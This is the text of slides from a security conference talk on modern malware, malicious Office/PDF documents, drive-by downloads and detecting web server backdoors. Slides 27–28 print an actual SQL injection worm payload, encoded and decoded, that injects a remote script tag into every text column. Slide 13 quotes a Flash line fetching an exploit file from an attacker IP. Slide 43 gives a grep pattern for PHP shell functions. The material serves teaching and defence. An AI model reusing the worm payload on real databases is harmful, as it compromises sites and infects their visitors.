The document discusses security challenges posed by modern malware and web-based attacks. It provides examples of next-generation malware that bypass antivirus detection using techniques like embedding malicious code in Office documents or PDF files. It also discusses how web-based malware has evolved from defacements and DDoS tools to more advanced drive-by download attacks using exploit kits. The document aims to demonstrate malware analysis techniques and how to detect web server backdoors through tools and manual source code reviews. It concludes with a challenge to practice security skills safely.

1. www.cdicconference.com
“Is Your Privacy at Risk? Security and Privacy Challenges in the Digital Modernity”
ชำแหละโปรแกรมไม่พงประสงค์ ด้วยเทคนิคเหนือเมฆ
ึ
อ. ประธาน พงศ์ทิพย์ฤกษ์
SANS GIAC GPEN, eCPPT, ECSA, CEH, CPTS, CIW Security Analyst, CWNA, CWSP, Security+, ITIL-F
Section Manager, Senior Information Security Consultant
ACIS Professional Center
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2. Let’s Party Rock
 Next Generation for Malware
 Malware Analysis
 Web Based Malware
 Back to the Past
 Back to the Future
 Lab Challenge
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3. www.cdicconference.com
“Is Your Privacy at Risk? Security and Privacy Challenges in the Digital Modernity”
Next Generation of Malware
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4. Old Malware fashion
 Executable file
 Packer, Crypter => FUD just 1 Week !!
 Spyware / Adware
 Rogue Security Software
 Virus / Worm
 USB Autorun
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5. Antivirus Detected
Gotcha !!
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6. Virustotal
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7. Virustotal – One Week later
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8. Anubis: Analyzing Binary File
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9. Latest Malware fashion
 MS Office+Flash Player
 PDF Reader
 Mobile Application
 Social Network Application
 Web Browser Toolbar
 Web based Malware
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10. Bypassing Antivirus
Ninja Techniques
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11. Malware Analysis
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12. CVE-2012-0754: SWF in DOC
 “Iran’s Oil and Nuclear Situation.doc”
 Contains flash instructing it to download and
Parse a malformed MP4.
 OS Affect
 Adobe Flash Player before 10.3.183.15 and 11.x
Before 11.1.102.62 on Windows, Mac OS X, Linux
And Solaris
 Mobile Affect
 Adobe Flash Player before 11.1.111.6 on
Android 2.x and 3.x and before 11.1.115.6 on
Android 4.x
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13. Document Analysis
 Decompiled Flash from file
 This.MyNS.play(“http://208.115.230.76/test.mp4”);
 Whois – 208.115.230.76
 208.115.230.76
76-230-115-208.static.reverse.lstn.net
Host reachable, 77 ms. average, 2 of 4 pings lost
208.115.192.0 - 208.115.255.255
Limestone Networks, Inc.
400 S. Akard Street
Suite 200
Dallas
TX
75202
United States
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14. Process Monitor network log
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15. Process Monitor network log
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16. Traffic and C&C (us.exe)
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17. Virus Analysis – us.exe
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18. Target Analysis
 Whois – 199.192.156.134
 199.192.156.134
Host reachable, 89 ms. average
199.192.152.0 - 199.192.159.255
VPS21 LTD
38958 S FREMONT BLVD
FREMONT
CA
94536
United States
zou, jinhe
+1-408-205-7550
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19. www.cdicconference.com
“Is Your Privacy at Risk? Security and Privacy Challenges in the Digital Modernity”
Web Based Malware
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20. Back to the Past
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21. Web Defacement
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22. Zone-H
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23. Ddos Tool
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24. Hack 4 Fun and Profit
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25. Back to the Future
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26. About My Memory
 2008
 Oishi website was hacked without defacement
 Kaspersky AV alert for “A little javascript file”
 2009
 SQL injection worms on MSSQL
 Affect many Bank on Thailand
 2010
 Google and Firefox alert for malware website
 Obfuscation JS to bypass AV
 2011
 Many website was blocked by Google Malware
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27. SQL Injection Worms
';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043
004C004100520045002000400054002000760061007200630068006100720
0280032003500350029002C00400043002000760061007200630068006100
72002800320035003500290020004400450043004C0041005200450020005
400610062006C0065005F0043007500720073006F00720020004300550052
0053004F005200200046004F0052002000730065006C00650063007400200
061002E006E0061006D0065002C0062002E006E0061006D00650020006600
72006F006D0020007300790073006F0062006A00650063007400730020006
1002C0073007900730063006F006C0075006D006E00730020006200200077
006800650072006500200061002E00690064003D0062002E0069006400200
061006E006400200061002E00780074007900700065003D00270075002700
200061006E0064002000280062002E00780074007900700065003D0039003
90020006F007200200062002E00780074007900700065003D003300350020
006F007200200062002E00780074007900700065003D00320033003100200
06F007200200062002E00780074007900700065003D003100AS%20NVARC
HAR(4000));EXEC(@S);--
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28. SQL Injection Worms
';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(D E C L A R E
@T varchar(255),@C varchar(255) DECLARE T
able_Cursor CURSOR FOR select a.name,b.nam
e from sysobjects a,syscolumns b where a.id
=b.id and a.xtype='u' and (b.xtype=99 or b.x
type=35 or b.xtype=231 or b.xtype=167) OPE
N Table_Cursor FETCH NEXT FROM Table_Cur
sor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=r
trim(convert(varchar,['+@C+']))+''<script sr
c=http://www.fengnima.cn/k.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor DEALLOCATE Table_C
u r s o r undefined AS%20NVARCHAR(4000));EXEC(@S);--
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29. Web Application Backdoor
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30. Web Application Backdoor -
FUD
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31. Redbull.php (PHP Backdoor)
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32. Insert Malicious JS into
config.inc.php
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33. Crimepack Exploit Kit
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34. Crimeware Exploit Kit
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35. Drive-By Download
Visit Malicious Website
Malicious JS execute
Web Server
Redirect to Malware Server
Exploit Browser / Flash Player
Reverse Shell to Attacker
Malware Server
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36. Google Malware Alert
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37. Google Diagnostic
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38. http://www.stopbadware.org/hom
e/reviewinfo
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39. http://sitecheck.sucuri.net/scanner
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40. http://sucuri.net/malware/malwar
e-entry-mwhta7
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41. http://sucuri.net/malware/malwar
e-entry-mwhta7
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42. http://www.urlvoid.com
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43. Detect Webserver Backdoor
 Manual Source review
 NeoPI – Neohapsis
 PHP Shell Scanner
 http://25yearsofprogramming.com/php/findmaliciouscode.htm
 grep -RPl --include=*.{php,txt,asp}
"(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdi
r|fopen|fclose|readfile) *(”
/var/www/
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44. PHP Shell Scanner
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45. Undetectable #1
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46. Undetectable #2
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47. JS De-Obfuscate Tool
 Google Chrome Developer Tools
 Firebug (Firefox’s plugin)
 JSDebug (Firefox’s plugin)
 Javascript Deobfuscator (Firefox’s plugin)
 Malzilla
 Rhino
 SpiderMonkey
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48. Simple JS Obfuscate
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49. Simple JS Obfuscate
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50. www.cdicconference.com
“Is Your Privacy at Risk? Security and Privacy Challenges in the Digital Modernity”
Lab Challenge
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51. Be Safe
www.cdicconference.com
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